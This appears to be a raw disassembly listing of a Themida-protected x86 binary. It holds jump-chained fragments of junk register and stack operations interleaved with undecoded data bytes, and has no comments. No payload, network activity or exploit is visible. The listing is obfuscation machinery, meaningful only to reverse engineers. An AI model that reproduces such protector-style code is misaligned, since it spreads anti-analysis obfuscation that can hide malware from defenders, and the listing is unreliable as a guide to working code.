		jmp	loc_54F5B9
; ---------------------------------------------------------------------------
		dd 0ACF8840Fh, 0EC83FFFFh, 48F5404h, 24048124h,	4, 6824348Bh
		dd 59F8h, 54240489h, 0E924048Bh, 375Ch
; ---------------------------------------------------------------------------

loc_54D374:				; CODE XREF: Themida_:0054DEA3j
		mov	esp, [esp]
		push	edx
		jmp	loc_54F71F
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 2
		dd 33000000h, 0C31240Ch, 1D7FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D38E:				; CODE XREF: Themida_:0054AD29j
		push	0C14h
		jmp	loc_54B4D4
; ---------------------------------------------------------------------------
		dd 2CE9E189h, 50FFFFEDh, 405E089h, 5000000h, 4,	0E9240487h
		dd 0FFFF8D55h, 24048B66h, 5BBA68h, 243C8900h, 0B0F7E954h
		dd 0E681FFFFh, 29DC2E88h, 0FFBF53E9h, 0C028B4FFh, 0CCFE07ECh
		dd 0F480CCFEh, 0F3F480DEh, 74E9E328h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D3E7:				; CODE XREF: Themida_:0054E599j
		sub	ebp, ecx
		pop	ecx
		push	ebp
		jmp	loc_54B0D5
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 2756E9h, 0C896600h, 82E95224h, 66000002h
		dd 5024048Bh, 4C6668h, 24248900h, 4240483h, 40558h, 0EC830000h
		dd 4C2EE904h, 0C1FE0000h, 8016E980h, 1EE91FF1h,	0B1FFFFE1h
		dd 5AF128D7h, 0CB28CDB3h, 636E959h, 0E9500000h,	0FFFFC789h
		dd 0FDE9C909h, 0F6FFFFFEh, 0E99C241Ch, 0FFFF8BE6h, 4C781h
		dd 0EC830000h, 243C8904h, 42474FFh, 3148E95Fh, 81660000h
		dd 0E90A59EBh, 48ABh, 0C008EEC0h, 0E6C006E6h, 464FE908h
		dd 46BB0000h, 297F7472h, 0E8015BD8h, 74724605h,	4F8057Fh
		dd 55D0C71h, 72DF2044h,	43B5E95Fh, 0E9500000h, 0FFFF919Eh
; ---------------------------------------------------------------------------

loc_54D4AC:				; CODE XREF: Themida_:0054D2A3j
		push	ebx
		mov	ebx, 0
		add	ebx, edx
		xor	[ebx], esi
		pop	ebx
		pop	edx
		jmp	loc_54D849
; ---------------------------------------------------------------------------
		db 81h,	0E3h, 0C8h
		dd 811A5C63h, 7B37B5EBh, 0D8EB811Ah, 98340B7h, 0E1C15BD9h
		dd 0D1F74904h, 0CFF0BA52h, 0D1016FA7h, 5A2434FFh, 0B571E955h
		dd 0F201FFFFh, 695C281h, 815E4879h, 4C2h, 24148700h, 4C4815Ch
		dd 0F7000000h, 0E18951E9h, 8904EC83h, 95BB241Ch, 5219F16Eh
		dd 4A5074BAh, 5AD32947h, 776BEB81h, 0C3812B20h,	5879594Eh
		dd 0EBE9D901h, 0BFFFFF92h, 59B80040h, 0EECEEF81h, 0F9293D22h
		dd 8956505Fh, 5EF089CEh, 5958C789h, 0C8E9FA01h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54D54F:				; CODE XREF: Themida_:0054E36Aj
		push	edi
		mov	edi, 5B2B2A35h
		sub	edi, 1
		jmp	loc_5471F6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0FFEAF6E9h, 48B66FFh, 0E6895624h, 4BD55h, 0EE010000h
		dd 0FFBE25E9h, 88FC88FFh, 911EE9E6h, 1487FFFFh,	59DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D58A:				; CODE XREF: Themida_:0054E979j
		pop	edi
		mov	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_549EB0
; ---------------------------------------------------------------------------
		dw 85B8h
		dd 314C740Dh, 0BB535EF0h, 5BD57877h, 344FB951h,	0F9E902C5h
		dd 66000020h, 5024048Bh, 0C446E954h, 8159FFFFh,	3E22D1C7h
		dd 8BF80130h, 0EAE9243Ch, 1000036h, 2D3705D8h, 6B2D3167h
		dd 53065B34h, 0C443F0BBh, 0E9D80145h, 2B0Dh, 88FE8852h
		dd 0E5885AF4h, 241C8B58h, 4C481h, 148B0000h, 4C48324h
		dd 0E828052Ch, 0C8B0504h, 4C48124h, 66000000h, 35B652h
		dd 3494E9F3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D616:				; CODE XREF: Themida_:0054758Fj
		pop	esp
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_54BED0
; ---------------------------------------------------------------------------
		db 30h
		dd 0C2E9241Ch, 30FFFFDEh, 24048BE2h, 4C481h, 1FE90000h
		dd 66000021h, 68240C8Bh, 13BDh,	0FFCEE4E9h, 59CB31FFh
		dd 54B0CB81h, 0F38154D6h, 29EB2CACh, 0FFE920E9h, 80DEF6FFh
		dd 0C68046F6h, 0F3885306h, 1C8BDC88h, 4C48124h,	5A000000h
		dd 281FEF80h, 1FC780E7h, 0CFFE5866h, 0FFC583E9h, 0E95FB6FFh
		dd 1B6Eh, 0E95EF701h, 4320h, 8324148Bh,	4BE904C4h, 58FFFFCBh
		dd 8B241487h, 14892424h, 4EC8124h, 89000000h, 0D4B7241Ch
		dd 0FEBBE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D6BE:				; CODE XREF: Themida_:005476E2j
		push	7A9h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_54D956
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 0FF000000h, 685B2434h, 6658h, 89243489h, 4C681E6h
		dd 83000000h, 343304C6h, 24343124h, 5C243433h, 4C381h
		dd 59E90000h, 5AFFFFAFh, 0E95BF930h, 1166h
; ---------------------------------------------------------------------------

loc_54D710:				; CODE XREF: Themida_:00548AFDj
		mov	[esp], edx
		mov	edx, 64AA1F19h
		jmp	loc_550BEB
; ---------------------------------------------------------------------------
		db 80h,	0F6h, 0A6h
		dd 148BF300h, 4C48324h,	8013C380h, 0C300EBC3h, 50EBEB80h
		dd 405E089h, 83000000h,	0FF5002E8h, 58042474h, 5C24048Fh
		dd 24048966h, 39E913B0h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D753:				; CODE XREF: Themida_:0054C8CDj
		mov	esp, [esp]
		jmp	loc_54915E
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0AFED8100h, 0E95C51B8h, 0FFFF932Fh
; ---------------------------------------------------------------------------

loc_54D76C:				; CODE XREF: Themida_:0054F1E0j
		mov	ebp, 5B5B6E3Bh
		or	ebp, 589A0808h
		push	esi
		mov	esi, 7B0D37FAh
		sub	esi, 26404BB3h
		sub	esi, 0B0A85A42h
		add	ebp, esi
		pop	esi
		and	ecx, ebp
		pop	ebp
		jmp	loc_550B86
; ---------------------------------------------------------------------------
		dd 32DFE981h, 0A9E948A7h, 89000003h, 4EC83E5h, 0E9240C89h
		dd 0FFFFC9F7h, 8DE9F801h, 81000018h, 0F7AD2F2h,	0C0EA816Ah
		dd 159D16Bh, 0BA525AD1h, 4, 875AD101h, 875C240Ch, 92E9240Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D7D7:				; CODE XREF: Themida_:005480B2j
		mov	ah, 82h
		and	bl, ah
		pop	eax
		jmp	loc_549AE2
; ---------------------------------------------------------------------------

loc_54D7E1:				; CODE XREF: Themida_:00546B0Fj
		pop	ecx
		push	edi
		mov	edi, 390B6C08h
		jmp	loc_550C78
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 74h
		dd 8F5E0424h, 0FF5C2404h, 2E92434h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D7FF:				; CODE XREF: Themida_:00550059j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_54EDFB
; ---------------------------------------------------------------------------
		dw 814Dh
		dd 0CCFCF0C5h, 5DEF21F7h, 68FABE56h, 0F681570Fh, 7BE03CCFh
		dd 24AC681h, 51E9358Fh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D83F:				; CODE XREF: Themida_:0054FC47j
		add	eax, 4
		jmp	loc_5506C5
; ---------------------------------------------------------------------------

loc_54D849:				; CODE XREF: Themida_:0054B26Aj
					; Themida_:0054D4B8j
		sub	esp, 4
		jmp	loc_55182E
; ---------------------------------------------------------------------------

loc_54D851:				; CODE XREF: Themida_:00551C55j
		mov	esi, 5D415281h
		dec	esi
		sub	esi, 7C946FBCh
		xor	esi, 22492211h
		xor	esi, 68CC077Eh
		jmp	loc_547A80
; ---------------------------------------------------------------------------
		dw 5B2Dh
		dd 21E9CD71h, 44E958C6h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D87B:				; CODE XREF: Themida_:00547206j
		xor	ecx, [esp]
		jmp	loc_54C5D5
; ---------------------------------------------------------------------------
		db 28h
		dd 0D82859CBh, 0EB80595Bh, 0CE25E959h, 248BFFFFh, 0D056E924h
		dd 0EF81FFFFh, 1D38EBDEh, 0F75FF821h, 8937E9D8h, 8B5BFFFFh
		dd 0C4812434h, 4, 1C8BD901h, 4C48324h, 12EAE9h,	242C3300h
		dd 0E9242C31h, 0FFFF918Dh, 51243C8Bh, 38E95954h, 5E00001Bh
		dd 68h,	242C2900h, 7EDC15Dh, 0FF9455E9h, 0F61FB1FFh, 80D1F6D1h
		dd 0D9F6D0E9h, 0F180D9F6h, 0E9CB8864h, 4B82h
; ---------------------------------------------------------------------------

loc_54D900:				; CODE XREF: Themida_:0054E641j
		push	esi
		mov	esi, 4
		sub	edi, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D359h, 8710E99Ch, 8359FFFFh, 0C58304C4h
		dd 242C3302h, 33242C31h, 248B242Ch, 48B6624h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_548A22
; ---------------------------------------------------------------------------
		db 0F7h, 0DBh, 0D1h
		dd 2CF3E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54D956:				; CODE XREF: Themida_:0054D6CCj
		push	edx
		jmp	loc_5507D5
; ---------------------------------------------------------------------------
		dd 49E9C101h, 81FFFFCDh, 332529C7h, 8BFB29E5h, 0C483243Ch
		dd 83C30104h, 48904ECh,	633E924h, 645C0000h, 0E9028966h
		dd 0FFFFB31Ah, 87768h, 24048900h, 721D4CB8h, 0C9BD5566h
		dd 0E91AEB69h, 2140h
; ---------------------------------------------------------------------------

loc_54D9A0:				; CODE XREF: Themida_:0054B83Dj
		push	esi
		push	edx
		mov	edx, 4B57133h
		mov	esi, edx
		pop	edx
		not	esi
		jmp	loc_54E0B0
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 48F0000h, 14895C24h,	81E28924h, 4C2h, 2B85000h
		dd 1000000h, 24048BC2h,	0FFC8A2E9h, 0DBBD55FFh,	6846754Fh
		dd 6C04h, 0BF243C89h, 4F8157B6h, 0F4186CBEh, 0FFFE3109h
		dd 505F2434h, 405E089h,	83000000h, 48704C0h, 11D5E924h
		dd 0C6810000h, 4, 40F5E957h, 0F3210000h, 36E7E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DA1E:				; CODE XREF: Themida_:0054DC99j
		pop	ecx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_54B235
; ---------------------------------------------------------------------------

loc_54DA2A:				; CODE XREF: Themida_:0054EEFAj
		add	ebx, 4
		jmp	loc_550583
; ---------------------------------------------------------------------------
		db 29h,	0D8h, 51h
		dd 3305A1B9h, 0E9D9F75Ch, 0FFFFD018h, 2E356859h, 0EE90000h
		dd 1FFFF9Fh, 5F04247Ch,	0FF85E5E9h, 5EF301FFh, 0EB81F301h
		dd 3EFA629Ah, 0E924348Bh, 43C0h, 5204C483h, 0E904EC83h
		dd 0FFFFDD08h, 6866C3FEh, 89667B41h, 8850240Ch,	362BE9DCh
		dd 0FB010000h, 3109C381h, 0C3814C58h, 54C67B52h, 0FF5833FFh
		dd 1C8B2434h, 4C48324h,	3F9E68h, 24048900h, 0FF87CAE9h
		dd 243433FFh, 6624248Bh, 6824048Bh, 45A4h, 38ECE9h, 4C48100h
		dd 81000000h, 4C6h, 0BB535000h,	248539A6h, 0DBF7DBF7h
		dd 209BEB81h, 0D889FEB3h, 81241C8Bh, 4C4h, 0D6DBE900h
		dd 0C280FFFFh, 0C99BE985h, 34FFFFFFh, 9CE95A24h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DB03:				; CODE XREF: Themida_:00550D5Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	6699h
		jmp	loc_54DF36
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0E94D02EDh, 0FFFFBC20h, 7622C781h, 83E95733h, 8BFFFFE8h
		dd 4D22424h, 0D4E99C24h, 81000001h, 4C4h, 0BECBE900h, 4968FFFFh
		dd 0E9000056h, 947h, 528EC181h,	1C8B2181h, 4C48124h, 0E9000000h
		dd 0FFFF93ACh, 6E4EEA81h, 0E2816413h, 428752B6h, 0C107E2C1h
		dd 0EA8103EAh, 112B1Ch,	4EE9D601h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DB7B:				; CODE XREF: Themida_:00549989j
		add	esp, 4
		push	edx
		mov	edx, 50F32839h
		jmp	loc_5511BA
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 3FE95E54h, 51FFFFEEh, 4EC81h, 0BDE90000h, 66FFFFCCh
		dd 0B0240489h, 66C32030h, 0C3F38058h, 34FFD830h, 0E6EAE924h
		dd 0C181FFFFh, 731A4FAEh, 2473F181h, 0C8016F52h, 0EC815159h
		dd 4, 68243C89h, 57C41DCCh, 0FF42E95Fh,	5FE9FFFFh, 66FFFF84h
		dd 8CA4E95Ah, 431FFFFh,	24043324h, 0FFB747E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DBF1:				; CODE XREF: Themida_:0054C54Dj
		dec	ebx
		push	ecx
		mov	ecx, 5FEB2E53h
		sub	ebx, ecx
		pop	ecx
		add	ebx, 1A2E21D6h
		add	ebx, 598B16DAh
		add	ebx, edi
		jmp	loc_54D24B
; ---------------------------------------------------------------------------
		dw 0E1C1h
		dd 39C18108h, 0E9684A1Dh, 0FFFFF3FAh, 0C681E689h, 4, 8704EE83h
		dd 895C2434h, 5F54243Ch, 1805B850h, 0E9566A06h,	0FFFFDBA7h
		dd 558BC781h, 3681D00h,	8900004Bh, 52BE2434h, 0C170E07Ch
		dd 23E905E6h, 33000031h, 0F6E92434h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DC5F:				; CODE XREF: Themida_:0054C464j
		pop	ebx
		jmp	loc_552397
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 52h
		dd 0F7348769h, 62EB81D3h, 216F9985h, 3CE95BDFh,	8FFFFFC1h
		dd 248B2404h, 2F14E924h, 875D0000h, 0E95C2414h,	0FFFF8A19h
; ---------------------------------------------------------------------------

loc_54DC90:				; CODE XREF: Themida_:00548367j
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_54DA1E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 14682404h, 0E9000027h, 0FFFF9B26h, 34B6EE81h, 0C8E91CE9h
		dd 81FFFF8Bh, 4C7h, 4EF8100h, 87000000h, 35E9243Ch, 0BEFFFFCBh
		dd 32BA7455h, 0F704E6C1h, 0CCAAE9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DCDA:				; CODE XREF: Themida_:00546531j
		dec	dword ptr [esp]
		pop	edx
		sub	edx, 0C264FDDEh
		jmp	loc_549F77
; ---------------------------------------------------------------------------

loc_54DCE9:				; CODE XREF: Themida_:0054C33Aj
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		add	eax, 4
		push	ecx
		mov	ecx, 2
		jmp	loc_551152
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0EE95324h, 0E9000016h, 0FFFF8332h, 56A9EB81h, 0ECE92056h
		dd 5FFFFFA6h, 81241C8Bh, 4C4h, 24148700h, 7968575Ch, 8900000Ah
		dd 4812424h, 424h, 0B9515F00h, 4, 0E959CF01h, 33B5h, 0FF1C5721h
		dd 34FF2434h, 0C4815A24h, 4, 0B6CDE955h, 5350FFFFh, 11F5E9h
		dd 1C77FF00h, 1058669Dh, 0E99C2404h, 0FFFF82CEh, 0E9240489h
		dd 0FFFF9B16h, 6601ED80h, 48B252h, 535A66D5h, 0FD3082B7h
		dd 80C5FE5Bh, 0EC04AFC5h, 0FFA240E9h, 0C48358FFh, 3B6F6804h
		dd 2C890000h, 2C8B5424h, 4C48324h, 4EC81h, 34890000h, 7CEFBE24h
		dd 9AE90ECEh, 83FFFFD5h, 148904ECh, 0EC815324h,	4, 0E9241489h
		dd 0FFFF852Eh, 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFF825Eh
		dd 24042166h, 8254E99Ch, 0C281FFFFh, 4,	4EA81h,	14870000h
		dd 14895C24h, 0E9E4B624h, 2A87h, 4B951h, 0C8010000h, 74FF5059h
		dd 48B0424h, 4C48124h, 8F000000h, 0FAE92404h, 29FFFF8Bh
		dd 63E958C3h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54DE2B:				; CODE XREF: Themida_:0054CC23j
		xor	ebx, 7FC732F7h
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5521B6
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, 76D80925h
		add	ebx, ebp
		sub	ebx, 76D80925h
		pop	ebp
		push	4ACCh
		mov	[esp], eax
		mov	eax, 33A13E04h
		add	eax, 0CC5EC200h
		add	ebx, eax
		jmp	loc_54DE9F
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0CCFE07E4h, 8003E480h, 0C480BFC4h, 58E18877h, 0FFE258E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54DE99:				; CODE XREF: Themida_:0054FABDj
		pop	edx
		jmp	loc_547A3A
; ---------------------------------------------------------------------------

loc_54DE9F:				; CODE XREF: Themida_:0054DE7Ej
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_54D374
; ---------------------------------------------------------------------------
		dd 3B59EB81h, 0E95E2FE9h, 0FFFFA25Bh
; ---------------------------------------------------------------------------

loc_54DEB4:				; CODE XREF: Themida_:00546432j
		mov	edx, 0B34CB5Ch
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_5491FD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E9552404h, 3FBBh, 0D2F6CAFEh, 0C021F280h, 0C28008E2h
		dd 0D188512Bh, 5A59CB88h, 0D828E02Ch, 0FE7BB151h, 6E9C0C9h
		dd 0E9C0C1FEh, 46C98007h, 2F87E9h, 0C8B6600h, 89505624h
		dd 405E0h, 27E90000h, 0FFFFFFE8h, 34FF2434h, 0D52DE924h
		dd 8358FFFFh, 646804C4h, 89000018h, 2C81243Ch, 25017024h
		dd 2BB7E963h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54DF2E:				; CODE XREF: Themida_:0054A7B2j
		xor	edx, [esp]
		jmp	loc_54E655
; ---------------------------------------------------------------------------

loc_54DF36:				; CODE XREF: Themida_:0054DB0Ej
		mov	[esp], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_546B75
; ---------------------------------------------------------------------------
		dd 986A5ABFh, 56D7F770h, 260152BEh, 0C1D6F733h,	4E907EEh
		dd 0ADFFFFAEh, 0BC68D831h, 89000019h, 1BBA2414h, 0E94EEA57h
		dd 0FFFFD8C6h, 4B8868h,	0FC03E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54DF86:				; CODE XREF: Themida_:00546152j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_550C50
; ---------------------------------------------------------------------------

loc_54DF91:				; CODE XREF: Themida_:0054E28Bj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, 0C310880h
		shl	ecx, 5
		shr	ecx, 3
		jmp	loc_54AEC1
; ---------------------------------------------------------------------------

loc_54DFA9:				; CODE XREF: Themida_:0054BAF3j
		mov	edi, ebp
		pop	ebp
		jmp	loc_549764
; ---------------------------------------------------------------------------
		db 0B8h, 81h, 1Eh
		dd 0D0F758ABh, 765568h,	242C8900h, 786BBA52h, 0D7BD7345h
		dd 31F8BE3Fh, 0E8015AD5h, 70C3815Dh, 133E531h, 70EB81C3h
		dd 5833E531h, 47D968h, 24048900h, 0FF8051E9h, 4C483FFh
		dd 5C243487h, 0C8AF0F66h, 0E99C5166h, 0FFFF803Eh, 70E0BB53h
		dd 0DA0128F0h, 81FA015Bh, 0F070E0EAh, 0CDEA8128h, 8803846Dh
		dd 8CCBE902h, 1AB0FFFFh, 0C8FED8F6h, 0E904E8C0h, 0FFFF92B8h
		dd 3827C181h, 0F12932B2h, 3827E981h, 0CE8732B2h, 58EE8159h
		dd 1C65D53h, 372D5EF0h,	0E931672Dh, 0FFFFF57Bh,	0BCD4E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E056:				; CODE XREF: Themida_:005467B4j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	ebx, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_548B76
; ---------------------------------------------------------------------------
		dd 0EFC1F787h, 25C78103h, 10BEE8Bh, 375DE9F8h, 3C8B0000h
		dd 4C48124h, 81000000h,	4ECh, 242C8900h, 1039E9h, 4C48100h
		dd 0E9000000h, 0FFFF7F8Eh
; ---------------------------------------------------------------------------

loc_54E0B0:				; CODE XREF: Themida_:0054D9ACj
		and	esi, 7EAB427Fh
		push	ebx
		jmp	loc_5466DE
; ---------------------------------------------------------------------------
		dd 5B59C801h, 5C240487h, 9CC88566h, 0FFA842E9h,	81E189FFh
		dd 4C1h, 5BEA6800h, 2C890000h, 2E85BD24h, 0F5814621h, 46212E81h
		dd 1D52B850h, 0D0F77EADh, 0A4780D25h, 2DD8F73Eh, 4150D22h
		dd 1C90C42Dh, 58C10180h, 72C1BE56h, 0F10155E7h,	81E9015Eh
		dd 0E772C1E9h, 0DE98155h, 5D7BCE02h, 8B240C87h,	34FF2424h
		dd 2434FF24h, 6A536858h, 2C890000h, 0A7E95424h,	81FFFFDDh
		dd 0D92C55C1h, 8BCD895Eh, 0C483240Ch, 5ED8104h,	0E91C1D23h
		dd 0FFFFC9FCh, 81241C8Bh, 4C4h,	4CFE5200h, 0E95A0124h
		dd 0FFFFD35Bh, 418BC381h, 0D3017095h, 418BEB81h, 0C3817095h
		dd 4D2C5ABEh, 5B31EB81h, 525A0402h, 2BAh, 5AD30100h, 8B241C87h
		dd 0F9F62424h, 29E2E9h,	24043100h, 5C240433h, 0FFB7EDE9h
		dd 5DCD81FFh, 0F72A5D40h, 1D09E9DDh, 0E5C10000h, 0C5814D08h
		dd 62781202h, 8108E5C1h, 705232CDh, 36F5814Ah, 1CA7053h
		dd 3A68E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E1CE:				; CODE XREF: Themida_:00547A45j
		push	eax
		add	dword ptr [esp], 46070BC6h
		pop	esi
		sub	esi, 46070BC6h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5469F3
; ---------------------------------------------------------------------------

loc_54E1EB:				; CODE XREF: Themida_:00546C30j
		sub	ecx, 761C6399h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	5060h
		jmp	loc_54B245
; ---------------------------------------------------------------------------
		dw 0DE29h
		dd 0FFEBCDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E20D:				; CODE XREF: Themida_:00547C2Bj
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		push	0D491ECEh
		pop	edx
		mov	esi, 0D491ECFh
		xor	esi, edx
		pop	edx
		and	eax, esi
		jmp	loc_54FFFF
; ---------------------------------------------------------------------------
		db 0FFh
		dd 7E94077h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E237:				; CODE XREF: Themida_:0054CEADj
		add	ebx, eax
		sub	ebx, 398A6B10h
		add	ebx, 0BCE4D1Eh
		push	ebx
		mov	bl, 0B3h
		inc	bl
		push	edx
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	cl, 54h
		jmp	loc_550498
; ---------------------------------------------------------------------------
		dd 56240489h, 0FFDD5DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E265:				; CODE XREF: Themida_:005517E6j
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	671Dh
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_54DF91
; ---------------------------------------------------------------------------
		dd 0FF7DA9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E295:				; CODE XREF: Themida_:005485F1j
		mov	[esp], ebp
		jmp	loc_54EDCD
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4FE90000h, 81000020h, 4C4h, 0C4E95300h, 66FFFFB7h, 667347BAh
		dd 6607EAC1h, 4F41C281h, 8BD73166h, 0C4812414h,	4, 0BB665366h
		dd 6653555Fh, 6618A3BBh, 2279F381h, 5BDF0166h, 0A0C78166h
		dd 8729E968h, 0B151FFFFh, 8BCA88CFh, 0C481240Ch, 4, 0FFDABFE9h
		dd 0C0C5FEFFh, 0CD8006E5h, 0BBF5800Eh, 0F3E9EB28h, 59000004h
		dd 808EC680h, 0F300B3C6h, 0C0B60F5Ah, 24148B66h, 8EE95450h
		dd 89FFFFAEh, 4C281E2h,	0E9000000h, 0FFFFC1B1h,	5CB9E281h
		dd 0C281243Fh, 7D171D04h, 0FFEEDDE9h, 4C681FFh,	81000000h
		dd 4C6h, 24348700h, 0E9C15F5Ch,	0A3E98105h, 0E9CE560Dh
		dd 0FFFFE20Dh
; ---------------------------------------------------------------------------

loc_54E364:				; CODE XREF: Themida_:0054CECEj
		add	ecx, 4
		jmp	loc_54D54F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0EC8CE900h, 5259FFFFh,	0FFAEBAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E381:				; CODE XREF: Themida_:0054FFB5j
		add	edx, ebx
		jmp	loc_54F470
; ---------------------------------------------------------------------------
		dd 0FB7625BFh, 0A429E93Dh, 8B66FFFFh, 9FE9240Ch, 0ACFFFFC1h
		dd 0F168D830h, 89000018h, 9FE92414h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E3AB:				; CODE XREF: Themida_:0054EFBFj
		pop	ebx
		add	esp, 4
		push	5427h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55114A
; ---------------------------------------------------------------------------
		db 81h
		dd 781516EBh, 64F3817Eh, 89FA3419h, 372D5BD8h, 556AA044h
		dd 0D9DEFBBDh, 0E03EE966h, 5358FFFFh, 0BE56E389h, 28035BADh
		dd 2EEE81h, 0F6816874h,	0BF8F5B7Bh, 0FFD192E9h,	0A0C580FFh
		dd 0E904E5C0h, 0FFFFD69Dh
; ---------------------------------------------------------------------------

loc_54E40C:				; CODE XREF: Themida_:00551E27j
		push	esi
		mov	esi, 348F39B4h
		shl	esi, 6
		inc	esi
		sub	esi, 1B92FF57h
		jmp	loc_54E9E5
; ---------------------------------------------------------------------------

loc_54E421:				; CODE XREF: Themida_:0055122Bj
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebx
		push	34CB5F73h
		pop	ebx
		xor	ebx, 0CB34A08Ch
		push	esi
		mov	esi, 16B648BDh
		sub	eax, esi
		pop	esi
		push	edi
		mov	edi, 32D8093Eh
		add	eax, edi
		pop	edi
		add	eax, ebx
		push	ecx
		mov	ecx, 3652250Ch
		jmp	loc_54F9F1
; ---------------------------------------------------------------------------

loc_54E461:				; CODE XREF: Themida_:0055042Bj
		mov	eax, 4
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_546CCC
; ---------------------------------------------------------------------------
		db 29h
		dd 0D8295BD8h, 74270005h, 666E2D28h, 295B3DECh,	561468D8h
		dd 0BFE90000h, 89FFFFD9h, 9ABF243Ch, 0E91F0141h, 0FFFFD8FEh
; ---------------------------------------------------------------------------

loc_54E49C:				; CODE XREF: Themida_:005462F9j
		pop	edi
		jmp	loc_547A6B
; ---------------------------------------------------------------------------

loc_54E4A2:				; CODE XREF: Themida_:005473BBj
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, edi
		pop	edi
		sub	eax, 67F03988h
		sub	eax, ebx
		add	eax, 67F03988h
		push	dword ptr [esp]
		jmp	loc_54FDEF
; ---------------------------------------------------------------------------
		db 50h
		dd 7B78E99Ch
		db 2 dup(0FFh)
